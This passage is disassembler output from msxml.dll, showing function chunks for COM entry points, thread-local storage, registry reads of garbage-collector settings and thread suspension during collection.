		mov	eax, [eax+14h]


loc_69B22901:				; CODE XREF: DllCanUnloadNow+471Bj
		test	eax, eax
		jnz	short loc_69B228F4
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR DllCanUnloadNow

; =============== S U B	R O U T	I N E =======================================



sub_69B22907	proc near		; DATA XREF: .text:69B1B80Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B22907	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B22910	proc near		; DATA XREF: .text:69B1B810o
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_69B1B7FF
sub_69B22910	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR DllGetClassObject


loc_69B22925:				; CODE XREF: DllGetClassObject+19j
		mov	eax, 80004005h
		jmp	loc_69B1C625
; ---------------------------------------------------------------------------


loc_69B2292F:				; CODE XREF: DllGetClassObject+94j
		call	sub_69B19E6E
		call	sub_69B61F42
		call	sub_69B6DF3C
		call	sub_69B1992C
		jmp	loc_69B1C5E2
; ---------------------------------------------------------------------------


loc_69B22948:				; CODE XREF: DllGetClassObject+A9j
		call	sub_69B11E73
		mov	edi, eax
		mov	[ebp-30h], edi
		lea	esi, [edi+45Ch]
		cmp	dword ptr [esi], 0
		jnz	short loc_69B22964
		call	sub_69B2FA42
		mov	[esi], eax


loc_69B22964:				; CODE XREF: DllGetClassObject+6413j
		lea	esi, [edi+460h]
		cmp	dword ptr [esi], 0
		jnz	loc_69B1C5F7
		call	sub_69B2F991
		mov	[esi], eax
		jmp	loc_69B1C5F7
; ---------------------------------------------------------------------------


loc_69B2297F:				; CODE XREF: DllGetClassObject+C1j
		mov	dword ptr [ebp-20h], 80040111h
		jmp	loc_69B1C60F
; END OF FUNCTION CHUNK	FOR DllGetClassObject

; =============== S U B	R O U T	I N E =======================================



sub_69B2298B	proc near		; DATA XREF: .text:69B1C864o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B2298B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B22994	proc near		; DATA XREF: .text:69B1C868o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-20h], eax
		jmp	loc_69B1C60F
sub_69B22994	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1E3D1


loc_69B229B1:				; CODE XREF: sub_69B1E3D1+1Dj
		push	dwTlsIndex
		call	dword_69B92970
		test	eax, eax
		jnz	loc_69B1E3F4
		mov	eax, ds:TlsGetValue
		mov	dword_69B92970,	eax
		mov	eax, ds:TlsSetValue
		mov	dword_69B92974,	eax
		jmp	loc_69B1E3F4
; ---------------------------------------------------------------------------


loc_69B229DE:				; CODE XREF: sub_69B1E3D1-Bj
		cmp	[ecx+30h], ebx
		jnz	short loc_69B22A18
		jmp	loc_69B1E3CC
; ---------------------------------------------------------------------------


loc_69B229E8:				; CODE XREF: sub_69B1E3D1+49j
					; sub_69B1E3D1+4645j
		mov	[ebp-1Ch], esi
		cmp	esi, ebx
		jz	loc_69B1E420
		lea	eax, [esi+45Ch]
		cmp	[eax], ebx
		jz	short loc_69B22A03
		push	eax
		call	sub_69B17230


loc_69B22A03:				; CODE XREF: sub_69B1E3D1+462Aj
		lea	eax, [esi+460h]
		cmp	[eax], ebx
		jz	short loc_69B22A13
		push	eax
		call	sub_69B17230


loc_69B22A13:				; CODE XREF: sub_69B1E3D1+463Aj
		mov	esi, [esi+14h]
		jmp	short loc_69B229E8
; ---------------------------------------------------------------------------


loc_69B22A18:				; CODE XREF: sub_69B1E3D1+4610j
		mov	dword_69B9B1CC,	edi
		push	offset aAtLeastOneThre ; "At least one thread was killed while ex"...
		call	ds:SHLWAPI_115
		jmp	loc_69B1E461
; END OF FUNCTION CHUNK	FOR sub_69B1E3D1

; =============== S U B	R O U T	I N E =======================================



sub_69B22A2E	proc near		; DATA XREF: .text:69B1E474o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B22A2E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B22A37	proc near		; DATA XREF: .text:69B1E478o
		mov	esp, [ebp-18h]
		jmp	loc_69B1E458
sub_69B22A37	endp

; ---------------------------------------------------------------------------
		align 10h
aAtLeastOneThre:			; DATA XREF: sub_69B1E3D1+464Do
		unicode	0, <At least one thread	was killed while executing inside msx>
		unicode	0, <ml.dll.>
		dw 0Ah
		unicode	0, <!! msxml.dll is unable to shut down	!!>
		dw 0Ah
		unicode	0, <>,0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR DllEntryPoint


loc_69B22B12:				; CODE XREF: DllEntryPoint+Ej
		dec	eax
		jz	short loc_69B22B36
		dec	eax
		jnz	loc_69B1C403
		push	[ebp+lpReserved]
		push	3


loc_69B22B21:				; CODE XREF: DllEntryPoint+677Ej
		push	[ebp+hinstDLL]
		call	sub_69B1BAE5
		test	eax, eax
		jnz	loc_69B1C403
		jmp	loc_69B1C436
; ---------------------------------------------------------------------------


loc_69B22B36:				; CODE XREF: DllEntryPoint+6756j
		push	[ebp+lpReserved]
		push	2
		jmp	short loc_69B22B21
; ---------------------------------------------------------------------------


loc_69B22B3D:				; CODE XREF: DllEntryPoint+51j
		mov	dword_69B9B0B8,	1
		jmp	loc_69B1C414
; END OF FUNCTION CHUNK	FOR DllEntryPoint
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1E686


loc_69B22B4C:				; CODE XREF: sub_69B1E686+57j
		mov	dword_69B92170,	0BB40E64Eh
		jmp	loc_69B1E6E3
; END OF FUNCTION CHUNK	FOR sub_69B1E686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1CA20


loc_69B22B5B:				; CODE XREF: sub_69B1CA20+25j
		mov	eax, [ebp+arg_8]
		and	dword ptr [eax], 0
		mov	eax, 80004002h
		jmp	loc_69B1CA55
; END OF FUNCTION CHUNK	FOR sub_69B1CA20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1E7D2


loc_69B22B6B:				; CODE XREF: sub_69B1E7D2+Ej
		mov	eax, 80004005h
		jmp	loc_69B1E813
; ---------------------------------------------------------------------------


loc_69B22B75:				; CODE XREF: sub_69B1E7D2+26j
		mov	esi, 80040110h
		jmp	loc_69B1E809
; ---------------------------------------------------------------------------


loc_69B22B7F:				; CODE XREF: sub_69B1E7D2+1Cj
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	dword ptr [eax+8]
		jmp	loc_69B1E807
; END OF FUNCTION CHUNK	FOR sub_69B1E7D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B17F2C


loc_69B22B90:				; CODE XREF: sub_69B17F2C+8j
		test	ebx, 20000000h
		jnz	loc_69B17F3A
		push	[esp+4+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		jmp	loc_69B17F4A
; ---------------------------------------------------------------------------


loc_69B22BAB:				; CODE XREF: sub_69B17F2C+30j
		mov	ecx, [esp+4+arg_0]
		mov	edx, ecx
		push	edi
		shr	ecx, 2
		xor	eax, eax
		mov	edi, esi
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		jmp	loc_69B17F62
; ---------------------------------------------------------------------------


loc_69B22BC8:				; CODE XREF: sub_69B17F2C+41j
		call	sub_69B2E87C
		jmp	loc_69B17F62
; END OF FUNCTION CHUNK	FOR sub_69B17F2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1B2B7


loc_69B22BD2:				; CODE XREF: sub_69B1B2B7+10j
		mov	edx, [eax]
		push	eax
		call	dword ptr [edx+14h]
		jmp	locret_69B1B2D8
; END OF FUNCTION CHUNK	FOR sub_69B1B2B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1127C


loc_69B22BDD:				; CODE XREF: sub_69B1127C+18j
		add	eax, 4
		mov	byte ptr [eax+22h], 1
		jmp	locret_69B1129A
; END OF FUNCTION CHUNK	FOR sub_69B1127C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1E5FC


loc_69B22BE9:				; CODE XREF: sub_69B1E5FC+8j
		sub	eax, 4
		jmp	loc_69B1E60A
; END OF FUNCTION CHUNK	FOR sub_69B1E5FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1CC44


loc_69B22BF1:				; CODE XREF: sub_69B1CC44+Aj
		cmp	dword_69B9296C,	ebx
		jz	loc_69B1CC54
		mov	ecx, dword_69B929E0
		mov	eax, [ecx]
		call	dword ptr [eax+0Ch]
		cmp	dword_69B92964,	ebx
		jz	short loc_69B22C24
		mov	esi, dword_69B9295C
		jmp	short loc_69B22C20
; ---------------------------------------------------------------------------


loc_69B22C18:				; CODE XREF: sub_69B1CC44+5FDEj
		cmp	[esi+44h], bl
		jnz	short loc_69B22C34
		mov	esi, [esi+14h]


loc_69B22C20:				; CODE XREF: sub_69B1CC44+5FD2j
		cmp	esi, ebx
		jnz	short loc_69B22C18


loc_69B22C24:				; CODE XREF: sub_69B1CC44+5FCAj
		mov	ecx, dword_69B929E0
		mov	eax, [ecx]
		call	dword ptr [eax+10h]
		jmp	loc_69B1CC54
; ---------------------------------------------------------------------------


loc_69B22C34:				; CODE XREF: sub_69B1CC44+5FD7j
		push	offset dword_69B92964 ;	lpAddend
		mov	[esi+44h], bl
		call	ds:InterlockedDecrement	; InterlockedDecrement
		mov	ecx, dword_69B929E0
		mov	eax, [ecx]
		call	dword ptr [eax+10h]
		mov	ecx, esi
		call	sub_69B2D585
		jmp	loc_69B1CC94
; ---------------------------------------------------------------------------


loc_69B22C59:				; CODE XREF: sub_69B1CC44+29j
		cmp	dword_69B92980,	ebx
		jz	loc_69B1CC94
		mov	eax, dword_69B92958
		cmp	eax, ebx
		jz	loc_69B1CC94
		mov	esi, eax
		mov	ecx, esi
		call	sub_69B2D585
		jmp	loc_69B1CCB9
; ---------------------------------------------------------------------------


loc_69B22C80:				; CODE XREF: sub_69B1CC44+66j
		push	eax
		call	sub_69B17230
		jmp	loc_69B1CCB0
; END OF FUNCTION CHUNK	FOR sub_69B1CC44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1CA7C


loc_69B22C8B:				; CODE XREF: sub_69B1CA7C+67j
		mov	ecx, [ebp+78h+var_8]
		test	ecx, ecx
		jnz	short loc_69B22C9A
		test	eax, eax
		jz	loc_69B1CAE9


loc_69B22C9A:				; CODE XREF: sub_69B1CA7C+6214j
		test	eax, eax
		mov	dword_69B9296C,	1
		mov	dword_69B92970,	ebx
		mov	dword_69B92974,	offset loc_69B2D56F
		jnz	short loc_69B22CBE
		mov	dword_69B92974,	ecx


loc_69B22CBE:				; CODE XREF: sub_69B1CA7C+623Aj
		push	offset a_getimallocfor ; "_GetIMallocForMsxml@4"
		push	edi		; hModule
		mov	dword_69B9297C,	eax
		call	esi ; GetProcAddress
		test	eax, eax
		jz	loc_69B1CBA8
		push	offset dword_69B92978
		call	eax
		jmp	loc_69B1CBA8
; ---------------------------------------------------------------------------


loc_69B22CDF:				; CODE XREF: sub_69B1CA7C+C1j
		call	sub_69B2E925
		jmp	loc_69B1CB43
; ---------------------------------------------------------------------------


loc_69B22CE9:				; CODE XREF: sub_69B1CA7C+D2j
		mov	dword_69B92950,	offset sub_69B2D53F
		mov	dword_69B9294C,	offset sub_69B2D551
		jmp	loc_69B1CB8B
; ---------------------------------------------------------------------------


loc_69B22D02:				; CODE XREF: sub_69B1CA7C+F8j
		call	sub_69B2E925
		jmp	loc_69B1CB7A
; END OF FUNCTION CHUNK	FOR sub_69B1CA7C
; ---------------------------------------------------------------------------
; char a_getimallocfor[]
a_getimallocfor	db '_GetIMallocForMsxml@4',0 ; DATA XREF: sub_69B1CA7C:loc_69B22CBEo
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1A9C6


loc_69B22D22:				; CODE XREF: sub_69B1A9C6+22j
		push	esi
		mov	esi, RegQueryValueExA
		push	edi
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		push	ebx		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	ebx		; lpReserved
		mov	edi, offset ValueName ;	"GCThreshold"
		push	edi		; lpValueName
		push	[ebp+hKey]	; hKey
		call	esi ; RegQueryValueExA
		test	eax, eax
		jnz	short loc_69B22D6F
		cmp	[ebp+Type], 4
		jnz	short loc_69B22D5D
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		push	offset Data	; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	ebx		; lpReserved
		push	edi		; lpValueName
		push	[ebp+hKey]	; hKey
		call	esi ; RegQueryValueExA


loc_69B22D5D:				; CODE XREF: sub_69B1A9C6+8381j
		cmp	Data, ebx
		jg	short loc_69B22D6F
		mov	Data, 800h


loc_69B22D6F:				; CODE XREF: sub_69B1A9C6+837Bj
					; sub_69B1A9C6+839Dj
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		push	ebx		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	ebx		; lpReserved
		mov	edi, offset aMaxgcthreshold ; "MaxGCThreshold"
		push	edi		; lpValueName
		push	[ebp+hKey]	; hKey
		call	esi ; RegQueryValueExA
		test	eax, eax
		jnz	short loc_69B22DBB
		cmp	[ebp+Type], 4
		jnz	short loc_69B22DA2
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		push	offset dword_69B96384 ;	lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	ebx		; lpReserved
		push	edi		; lpValueName
		push	[ebp+hKey]	; hKey
		call	esi ; RegQueryValueExA


loc_69B22DA2:				; CODE XREF: sub_69B1A9C6+83C6j
		mov	eax, dword_69B96384
		cmp	eax, ebx
		mov	ecx, Data
		jle	short loc_69B22DB5
		cmp	eax, ecx
		jge	short loc_69B22DBB


loc_69B22DB5:				; CODE XREF: sub_69B1A9C6+83E9j
		mov	dword_69B96384,	ecx


loc_69B22DBB:				; CODE XREF: sub_69B1A9C6+83C0j
					; sub_69B1A9C6+83EDj
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		push	ebx		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	ebx		; lpReserved
		mov	edi, offset aNofullgc ;	"NoFullGC"
		push	edi		; lpValueName
		push	[ebp+hKey]	; hKey
		call	esi ; RegQueryValueExA
		test	eax, eax
		jnz	short loc_69B22DF8
		cmp	[ebp+Type], 4
		jnz	short loc_69B22DED
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		lea	eax, [ebp+Data]
		push	eax		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	ebx		; lpReserved
		push	edi		; lpValueName
		push	[ebp+hKey]	; hKey
		call	esi ; RegQueryValueExA


loc_69B22DED:				; CODE XREF: sub_69B1A9C6+8412j
		cmp	dword ptr [ebp+Data], ebx
		setnz	al
		mov	byte_69B929BC, al


loc_69B22DF8:				; CODE XREF: sub_69B1A9C6+840Cj
		push	[ebp+hKey]	; hKey
		call	RegCloseKey	; RegCloseKey
		pop	edi
		pop	esi
		jmp	loc_69B1A9EE
; END OF FUNCTION CHUNK	FOR sub_69B1A9C6
; ---------------------------------------------------------------------------
; char aNofullgc[]
aNofullgc	db 'NoFullGC',0         ; DATA XREF: sub_69B1A9C6+83FFo
		align 4
; char aMaxgcthreshold[]
aMaxgcthreshold	db 'MaxGCThreshold',0   ; DATA XREF: sub_69B1A9C6+83B3o
		align 4
; char ValueName[]
ValueName	db 'GCThreshold',0      ; DATA XREF: sub_69B1A9C6+836Eo
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B18980


loc_69B22E30:				; CODE XREF: sub_69B18980+19j
					; sub_69B18980+33j
		test	edi, edi
		jz	short loc_69B22E3A
		dec	edi
		jmp	loc_69B18996
; ---------------------------------------------------------------------------


loc_69B22E3A:				; CODE XREF: sub_69B18980+A4B2j
		push	0		; dwMilliseconds
		call	ds:Sleep	; Sleep
		jmp	loc_69B18996
; END OF FUNCTION CHUNK	FOR sub_69B18980
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B17275


loc_69B22E47:				; CODE XREF: sub_69B17275+6j
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_69B17275
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1BF60


loc_69B22E4A:				; CODE XREF: sub_69B1BF60+Aj
		inc	dword ptr [ecx+8]
		retn
; END OF FUNCTION CHUNK	FOR sub_69B1BF60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B186A8


loc_69B22E4E:				; CODE XREF: sub_69B186A8+Dj
		dec	dword ptr [esi+8]
		jmp	loc_69B186C7
; END OF FUNCTION CHUNK	FOR sub_69B186A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B18459


loc_69B22E56:				; CODE XREF: sub_69B18459+25j
		cmp	[eax], ecx
		jz	loc_69B18486
		sub	eax, 4
		jmp	loc_69B1847C
; END OF FUNCTION CHUNK	FOR sub_69B18459
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1E244


loc_69B22E66:				; CODE XREF: sub_69B1E244+46j
		mov	eax, [edi+4]
		mov	[ebp-38h], eax
		mov	dword ptr [edi+4], 4
		mov	ecx, eax
		and	ecx, 0FFFFFFF9h
		mov	[esi+24h], ecx
		mov	ecx, [edi]
		mov	[ebp-3Ch], ecx
		test	ecx, ecx
		jz	short loc_69B22EB3
		cmp	byte ptr [ebp+0Ch], 0
		jz	short loc_69B22E96
		push	eax
		mov	ecx, edi
		call	sub_69B18459
		test	eax, eax
		jnz	short loc_69B22EB3


loc_69B22E96:				; CODE XREF: sub_69B1E244+4C44j
		dec	dword ptr [esi+28h]
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+34h]
		mov	dword ptr [edi+4], 7
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+18h]
		jmp	loc_69B1E282
; ---------------------------------------------------------------------------


loc_69B22EB3:				; CODE XREF: sub_69B1E244+4C3Ej
					; sub_69B1E244+4C50j
		cmp	dword ptr [ebp-2Ch], 0
		jz	short loc_69B22EC6
		mov	eax, edi
		or	eax, 4
		mov	ecx, [ebp-30h]
		mov	[ecx+4], eax
		jmp	short loc_69B22EC9
; ---------------------------------------------------------------------------


loc_69B22EC6:				; CODE XREF: sub_69B1E244+4C73j
		mov	[ebp-2Ch], edi


loc_69B22EC9:				; CODE XREF: sub_69B1E244+4C80j
		mov	[ebp-30h], edi
		jmp	loc_69B1E282
; ---------------------------------------------------------------------------


loc_69B22ED1:				; CODE XREF: sub_69B1E244+54j
		or	ebx, 4
		mov	eax, [ebp-30h]
		mov	[eax+4], ebx
		jmp	loc_69B1E2A1
; END OF FUNCTION CHUNK	FOR sub_69B1E244

; =============== S U B	R O U T	I N E =======================================



sub_69B22EDF	proc near		; DATA XREF: .text:69B1E2CCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B22EDF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B22EE8	proc near		; DATA XREF: .text:69B1E2D0o
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp+8]
		jmp	loc_69B1E27B
sub_69B22EE8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1737D


loc_69B22EF7:				; CODE XREF: sub_69B1737D+36j
		push	eax
		push	ebx
		mov	ecx, edi
		call	sub_69B2D775
		test	al, 1
		lea	esi, [edi+4]
		mov	[esi], eax
		jnz	loc_69B173CC
		push	0		; dwMilliseconds
		call	ds:Sleep	; Sleep
		push	esi		; Target
		call	sub_69B18980
		mov	ebx, eax
		jmp	loc_69B17386
; END OF FUNCTION CHUNK	FOR sub_69B1737D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B11EFA


loc_69B22F22:				; CODE XREF: sub_69B11EFA+19j
		lea	eax, [esi+4]
		push	eax		; Target
		call	sub_69B18980
		mov	[edi+4], esi
		and	eax, 0FFFFFFF9h
		mov	edi, esi
		mov	esi, eax
		jmp	loc_69B11F11
; END OF FUNCTION CHUNK	FOR sub_69B11EFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1B480


loc_69B22F3A:				; CODE XREF: sub_69B1B480-3Ej
		mov	[ebp-20h], esi
		jmp	loc_69B1B4B1
; ---------------------------------------------------------------------------


loc_69B22F42:				; CODE XREF: sub_69B1B480-2Cj
		mov	[ebx+4], esi
		mov	ebx, esi
		mov	[ebp-1Ch], ebx
		jmp	loc_69B1B475
; END OF FUNCTION CHUNK	FOR sub_69B1B480

; =============== S U B	R O U T	I N E =======================================



sub_69B22F4F	proc near		; DATA XREF: .text:69B1B4DCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B22F4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B22F58	proc near		; DATA XREF: .text:69B1B4E0o
		mov	esp, [ebp-18h]
		mov	esi, [ebp-20h]
		and	esi, 0FFFFFFF9h
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	edi, [ebp+8]
		jmp	loc_69B1B4A6
sub_69B22F58	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1E818


loc_69B22F6D:				; CODE XREF: sub_69B1E818+Ej
		push	ecx
		push	ecx
		push	eax
		call	sub_69B1E244
		jmp	locret_69B1E82C
; END OF FUNCTION CHUNK	FOR sub_69B1E818
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1E38F


loc_69B22F7A:				; CODE XREF: sub_69B1E38F+13j
		cmp	dword ptr [edi+28h], 0
		jnz	loc_69B1E3A8
		cmp	dword ptr [edi+58h], 0
		jnz	loc_69B1E3A8
		mov	eax, [edi+4]
		and	eax, 0FFFFFFF9h
		cmp	eax, edi
		jnz	loc_69B1E3A8
		cmp	edi, dword_69B92958
		jz	loc_69B1E3A8
		cmp	edi, dword_69B92994
		jz	loc_69B1E3A8
		push	dwTlsIndex
		call	dword_69B92970
		mov	esi, eax
		mov	[ebp-1Ch], esi
		mov	al, [esi+21h]
		mov	[ebp-1Dh], al
		mov	byte ptr [esi+20h], 1
		mov	byte ptr [esi+21h], 0
		mov	eax, [edi+14h]
		mov	ebx, [ebp+0Ch]
		mov	[ebx], eax
		and	dword ptr [ebp-4], 0
		mov	[ebp-24h], edi
		mov	[ebp-28h], edi
		push	1		; char
		mov	ecx, edi	; lpMem
		call	sub_69B2D601
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B2300A
; END OF FUNCTION CHUNK	FOR sub_69B1E38F

; =============== S U B	R O U T	I N E =======================================



sub_69B22FF4	proc near		; DATA XREF: .text:69B1E3BCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B22FF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B22FFD	proc near		; DATA XREF: .text:69B1E3C0o
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ebx, [ebp+0Ch]
		mov	esi, [ebp-1Ch]
sub_69B22FFD	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_69B1E38F


loc_69B2300A:				; CODE XREF: sub_69B1E38F+4C63j
		mov	byte ptr [esi+20h], 0
		mov	al, [ebp-1Dh]
		mov	[esi+21h], al
		jmp	loc_69B1E3AB
; END OF FUNCTION CHUNK	FOR sub_69B1E38F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1B193


loc_69B23019:				; CODE XREF: sub_69B1B193+28j
		lea	edi, [esi+4]
		push	edi		; Target
		call	sub_69B18980
		mov	[ebp-24h], eax
		and	eax, 0FFFFFFF9h
		mov	[ebp-1Ch], eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+34h]
		mov	dword ptr [edi], 3
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+18h]
		jmp	loc_69B1B1B3
; END OF FUNCTION CHUNK	FOR sub_69B1B193

; =============== S U B	R O U T	I N E =======================================



sub_69B23044	proc near		; DATA XREF: .text:69B1B1D4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B23044	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2304D	proc near		; DATA XREF: .text:69B1B1D8o
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_69B1B1AF
sub_69B2304D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B17355


loc_69B23059:				; CODE XREF: sub_69B17355+11j
		test	bl, 1
		jz	short loc_69B2306D
		add	ebx, 8
		mov	[eax], ebx
		mov	eax, ebx
		shr	eax, 3
		jmp	loc_69B1737A
; ---------------------------------------------------------------------------


loc_69B2306D:				; CODE XREF: sub_69B17355+BD07j
		push	dwTlsIndex
		call	dword_69B92970
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_69B2D638
		xor	eax, eax
		inc	eax
		jmp	loc_69B1737A
; END OF FUNCTION CHUNK	FOR sub_69B17355

; =============== S U B	R O U T	I N E =======================================



sub_69B2308A	proc near		; DATA XREF: .text:69B1718Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B2308A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B23093	proc near		; DATA XREF: .text:69B17190o
		mov	esp, [ebp-18h]
		inc	dword ptr [ebp-20h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_69B17149
sub_69B23093	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B18CB3


loc_69B230A2:				; CODE XREF: sub_69B18CB3+99j
		push	esi
		call	sub_69B1B580
		jmp	loc_69B18D52
; ---------------------------------------------------------------------------


loc_69B230AD:				; CODE XREF: sub_69B18CB3+E0j
		mov	dword_69B92944,	offset sub_69B1E818
		mov	byte_69B929BD, 0
		jmp	loc_69B18D99
; ---------------------------------------------------------------------------


loc_69B230C3:				; CODE XREF: sub_69B18CB3+130j
		push	dword ptr [esi+10h] ; hThread
		call	ds:SuspendThread	; SuspendThread
		mov	[ebp-34h], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_69B18E16
		cmp	[esi+30h], edi
		jz	short loc_69B230E7
		cmp	byte ptr [esi+44h], 0
		jz	loc_69B18DE9


loc_69B230E7:				; CODE XREF: sub_69B18CB3+A428j
		push	dword ptr [esi+10h] ; hThread
		call	ds:ResumeThread	; ResumeThread
		mov	[ebp-38h], eax
		jmp	loc_69B18E16
; ---------------------------------------------------------------------------


loc_69B230F8:				; CODE XREF: sub_69B18CB3+144j
					; sub_69B18CB3+14Cj
		mov	ecx, [eax+8]
		mov	[ebp-40h], ecx
		cmp	dword_69B92954,	1
		jnz	short loc_69B2310E
		add	dword ptr [ebp-40h], 1000h


loc_69B2310E:				; CODE XREF: sub_69B18CB3+A452j
		mov	edi, [eax+4]
		mov	[ebp-44h], edi
		mov	dword ptr [ebp-310h], 10007h
		lea	eax, [ebp-310h]
		push	eax		; lpContext
		push	dword ptr [esi+10h] ; hThread
		call	sub_69B2D61C
		test	al, al
		jz	short loc_69B2314A
		push	esi
		xor	eax, eax
		cmp	esi, ebx
		setz	al
		push	eax
		lea	eax, [ebp-44h]
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		call	sub_69B2D846


loc_69B2314A:				; CODE XREF: sub_69B18CB3+A47Cj
		push	esi
		xor	eax, eax
		cmp	esi, ebx
		setz	al
		push	eax
		push	edi
		push	dword ptr [ebp-40h]
		call	sub_69B2D846
		xor	edi, edi
		cmp	esi, ebx
		jz	loc_69B18E05
		push	dword ptr [esi+10h] ; hThread
		call	ds:ResumeThread	; ResumeThread
		mov	[ebp-314h], eax
		jmp	loc_69B18E05
; ---------------------------------------------------------------------------


loc_69B2317A:				; CODE XREF: sub_69B18CB3+15Dj
		lea	ecx, [ebp-30h]
		call	sub_69B1900C
		jmp	loc_69B1E312
; ---------------------------------------------------------------------------


loc_69B23187:				; CODE XREF: sub_69B18CB3+5643j
		push	dword_69B929D4
		lea	ecx, [ebp-318h]
		call	sub_69B18E23
		push	dword_69B95A14
		call	sub_69B17135
		lea	ecx, [ebp-318h]
		call	sub_69B1900C
		push	dword_69B929D0
		lea	ecx, [ebp-31Ch]
		call	sub_69B18E23
		push	dword_69B95A20
		call	sub_69B17135
		lea	ecx, [ebp-31Ch]
		call	sub_69B1900C
		jmp	loc_69B1E2FC
; END OF FUNCTION CHUNK	FOR sub_69B18CB3

; =============== S U B	R O U T	I N E =======================================



sub_69B231DA	proc near		; DATA XREF: sub_69B18CB3+D1o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B231DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B231E3	proc near		; DATA XREF: sub_69B18CB3+D5o
		mov	esp, [ebp-18h]
		mov	esi, dword_69B92994
		mov	ebx, [ebp-24h]


loc_69B231EF:				; CODE XREF: sub_69B231E3+2Ej
		test	esi, esi
		jz	loc_69B1E312
		cmp	byte ptr [esi+1Ah], 0
		jz	short loc_69B2320E
		cmp	esi, ebx
		jz	short loc_69B2320A
